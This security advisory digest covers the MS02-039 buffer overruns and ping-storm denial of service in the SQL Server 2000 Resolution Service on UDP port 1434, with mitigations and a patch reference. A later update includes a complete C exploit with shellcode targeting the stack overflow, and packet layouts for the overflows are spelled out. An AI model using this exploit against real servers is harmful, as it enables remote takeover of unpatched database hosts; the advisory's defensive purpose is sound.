25th Jul 2002 [SBWID-5553]
COMMAND
Microsoft SQL server buffer overrun in resolution service - "SQ_Hell"
worm
SYSTEMS AFFECTED
SQL Server 2000, and others ?
PROBLEM
- ----------------------------------------------------------------------
Title: Buffer Overruns in SQL Server 2000 Resolution Service
Could Enable Code Execution (Q323875)
Date: 24 July 2002
Software: SQL Server 2000
Impact: Three vulnerabilities, the most serious of which could
enable an attacker to gain control over an affected
SQL Server 2000 installation
Max Risk: Critical
Bulletin: MS02-039
Microsoft encourages customers to review the Security Bulletin at:
http://www.microsoft.com/technet/security/bulletin/MS02-039.asp.
- ----------------------------------------------------------------------
Issue:
======
SQL Server 2000 introduces the ability to host multiple instances of
SQL Server on a single physical machine. Each instance operates for all
intents and purposes as though it was a separate server. However, the
multiple instances cannot all use the standard SQL Server session port
(TCP 1433). While the default instance listens on TCP port 1433, named
instances listen on any port assigned to them. The SQL Server
Resolution Service, which operates on UDP port 1434, provides a way for
clients to query for the appropriate network endpoints to use for a
particular SQL Server instance.
There are three security vulnerabilities here. The first two are buffer
overruns. By sending a carefully crafted packet to the Resolution
Service, an attacker could cause portions of system memory (the heap in
one case, the stack in the other) to be overwritten. Overwriting it
with random data would likely result in the failure of the SQL Server
service; overwriting it with carefully selected data could allow the
attacker to run code in the security context of the SQL Server service.
The third vulnerability is a denial of service vulnerability. SQL uses
a keep-alive mechanism to distinguish between active and passive
instances. It is possible to create a keep-alive packet that, when sent
to the Resolution Service, will cause SQL Server 2000 to respond with
the same information. An attacker who created such a packet, spoofed
the source address so that it appeared to come from a one SQL Server
2000 system, and sent it to a neighboring SQL Server 2000 system could
cause the two systems to enter a never-ending cycle of keep-alive
packet exchanges. This would consume resources on both systems, slowing
performance considerably.
Mitigating Factors:
====================
Buffer Overruns in SQL Server Resolution Service:
- SQL Server 2000 runs in a security context chosen by the
administrator at installation time. By default, it runs as
a Domain User. Thus, although the attacker's code could take
any desired action on the database, it would not necessarily
have significant privileges at the operating system level if
best practices have been followed.
- The risk posed by the vulnerability could be mitigated by,
if feasible, blocking port 1434 at the firewall.
Denial of Service via SQL Server Resolution Service:
- An attack could be broken off by restarting the SQL Server
2000 service on either of the affected systems. Normal
processing on both systems would resume once the attack ceased.
- The vulnerability provides no way to gain any privileges on the
system. It is a denial of service vulnerability only.
Maximum Risk Rating:
============
- Internet systems: Critical
- Intranet systems: Critical
- Client systems: None
-Also-
In David Litchfield [[email protected]] advisory [#NISR25072002]
[http://www.ngssoftware.com/advisories/mssql-udp.txt] :
Description
***********
Microsoft's database server SQL Server 2000 exhibits two buffer overrun
vulnerabilities that can be exploited by a remote attacker without ever
having to authenticate to the server. What further exacerbates these
issues is that the attack is channeled over UDP. Whether the SQL Server
process runs in the security context of a domain user or the local
SYSTEM account, successful exploitation of these security holes will
mean a total compromise of the target server and its data.
Details
*******
SQL Server can be configured to listen for incoming client connections
in several different ways. It can be configured such that clients can
use named pipes over a NetBIOS session (TCP port 139/445) or sockets
with clients connecting to TCP port 1433 or both. Which ever method is
used the SQL Server will always listen on UDP port 1434. This port is
designated as the Microsoft SQL Monitor port and clients will send a
message to this port to dynamically discover how the client should
connect to the Server. This message is a single byte packet, the byte
being 0x02.
There are other messages that can be sent to this port and these can be
worked out with simple experimentation.
Stack Based Buffer Overflow
***************************
When SQL Server receives a packet on UDP port 1434 with the first byte
set to 0x04, the SQL Monitor thread takes the remaining data in the
packet and attempts to open a registry key using this user supplied
information. For example, by sending x04x41x41x41x41 (0x04 followed by
4 upper case 'A's) SQL Server attempts to open
HKLMSoftwareMicrosoftMicrosoft SQL ServerAAAAMSSQLServerCurrentVersion
By appending a large number of bytes to the end of this packet, whilst
preparing the string for the registry key to open, a stack based buffer
is overflowed and the saved return address is overwritten. This allows
an attacker to gain complete control of the SQL Server process and its
path of execution. By overwriting the saved return address on the stack
with an address that contains a "jmp esp" or "call esp" instruction,
when the vulnerable procedure returns the processor will start
executing code of the attacker's choice. At no stage does the attacker
need to authenticate.
Heap Based Buffer Overflow
**************************
When SQL Server receives a packet on UDP port 1434 with the first byte
set to 0x08 followed by an overly long string, followed by a colon
character (:) and number a heap based buffer is overflowed. As this
corrupts the structures used to keep track of the heap an attacker can
overwrite any location in memory with 4 bytes of their own choosing.
This can be used to gain remote control of the processes execution. If
the colon and number are missing the SQL Server process access violates
before the heap is corrupted as the code in the SQL Monitor thread
fails to handle exceptions.
For example the code calls the C function strtok(). The strtok()
functions looks for a given token in a string, in this case a colon,
and if found returns a pointer to it. If the colon is missing in the
string being searched then no pointer is returned. This is one of the
reasons why the SQL Server process access violates if the colon is
missing. The code does not check to see if a valid pointer has been
returned before passing it to another function call, atoi():
char *ptr=NULL;
int num=0;
..
ptr = strtok(string,":");
num = atoi(ptr); // ptr is used without being validated
Failure to check return values and handle exceptions leads to the
process dying, leading to a simple Denial of Service attack. That said,
in the light of the overflows, the DoS is the least of the problems.
Network Based Denial of Service
*******************************
When an SQL Server receives a single byte packet, 0x0A, on UDP port
1434 it will reply to the sender with 0x0A. A problem arises as SQL
Server will respond, sending a 'ping' response to the source IP address
and source port. This 'ping' is a single byte UDP packet - 0x0A. By
spoofing a packet from one SQL Server, setting the UDP port to 1434,
and sending it the a second SQL Server, the second will respond to the
first's UDP port 1434. The first will then reply to the second's UDP
port 1434 and so on. This causes a storm of single byte pings between
the two servers. Only when one of the servers is disconnected from the
network or its SQL service is stopped will the storm stop. This is a
simple newtork based DoS, reminiscent of the echo and chargen DoSes
discussed back in 1996
(http://www.cert.org/advisories/CA-1996-01.html). When in this state,
the load on each SQL Server is raised to c. 40 - 60 % CPU time.
Considerations for protection against these vulnerabilities
***********************************************************
Exploitation of these security holes goes over UDP, a connection-less
communications protocol. As such it makes the task of bypassing the
protection offered by a firewall considerably easier. The spoofing of
an IP address in a UDP packet is also considerably easier.
It is trivial for an attacker to send an attack through the firewall,
setting the source IP address to that of the target's DNS Server and
the source port to 53. Most firewalls will allow this packet through as
it will look like a response to a query to resolve a domain name.
It is strongly recommended that a rule be added to each organization's
firewall such that any packet destined for UDP port 1434 on the 'clean'
side of the firewall be dropped and logged. No host, even DNS Servers,
should be allowed to send traffic to this port.
It is also recommend that firewall administrators ensure that any
packet received on the 'dirty' interface with a source IP address set
to an address on the clean side is also dropped and logged.
Update (20 August 2002)
======
Exploit code :
/*
SQL Server 2000 Remote Buffer Overflow
by [email protected]
bug found by:
David Litchfield
tested on Win2k SP2. shellcode Will create file \scan_sql2k_bo.
sql server will die. so, script kiddie, dun try dis.
created while everyone is bz wif defcon.
greetz to da scan clan, especially to tynon, pokleyzz, wyse and spoonfork. Alphaque and L33tdawg, thanks for the beer. Mnemonix and Mark Litchfield for lots of SQL BO examples.
fix: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp
http://www.scan-associates.net
*/
#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib,"Ws2_32")
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int main(int argc,char *argv[])
{
int s;
char buf2[350];
struct sockaddr_in target;
int EIP = 0x78024e02;
int EAX = 0x42d01e40;
unsigned char forwardjump[]="\x0eb\x0a\x0cc\x0cc\x0cc\x0cc\x0cc\x0cc";
WSADATA WSAData;
BYTE shellcode[] = ""
"\x8B\xF1\x33\xC0\xC7\x06\x5C\x73\x63\x61\xC7\x46\x04\x6E\x5F\x73"
"\x71\xC7\x46\x08\x6C\x32\x6B\x5F\xC7\x46\x0C\x62\x6F\x2E\x41\x88"
"\x46\x0F\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\x6C\xC2"
"\x01\x78\xFF\xD0\xB8\xC7\x3E\x01\x78\xFF\xD0";
if (argc!=2)
{
printf("usage: %s ip\n",argv[0]);
return -1;
}
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}
s = socket(AF_INET,SOCK_DGRAM,0);
if(s<0)
return -1;
memset((char *)&target,0,sizeof(target));
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(argv[1]);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(1434);
memset(buf2,0xcc,sizeof(buf2));
buf2[0] = 0x04;
*(unsigned int *)&buf2[97] = EIP;
memcpy(&buf2[101], forwardjump, strlen(forwardjump));
*(unsigned int *)&buf2[109] = EAX;
memcpy(&buf2[113], shellcode, strlen(shellcode));
buf2[1+96+8+strlen(forwardjump)+strlen(shellcode)]=0;
if (sendto(s, buf2, strlen(buf2)+1, 0, &target, sizeof(target)) == SOCKET_ERROR)
printf("Error: sendto() failed.\n");
closesocket(s);
return 0;
}
Update (25 January 2003)
======
A worm has been hitting hard on the internet the past few days, it
seems to attack unpatched MSSQL server of this bug; H D Moore provides
an assembly decode and perl script of the thingy, here :
http://www.digitaloffense.net/worms/mssql_udp_worm/
SOLUTION
Patch Availability:
===================
- A patch is available to fix this vulnerability. Please read the
Security Bulletin at
http://www.microsoft.com/technet/security/bulletin/ms02-039.asp
for information on obtaining this patch.
Acknowledgment:
===============
- David Litchfield of Next Generation Security Software Ltd.
(http://www.nextgenss.com/)
- ---------------------------------------------------------------------
THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED
"AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL
WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT
SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR ANY
DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO
THE FOREGOING LIMITATION MAY NOT APPLY.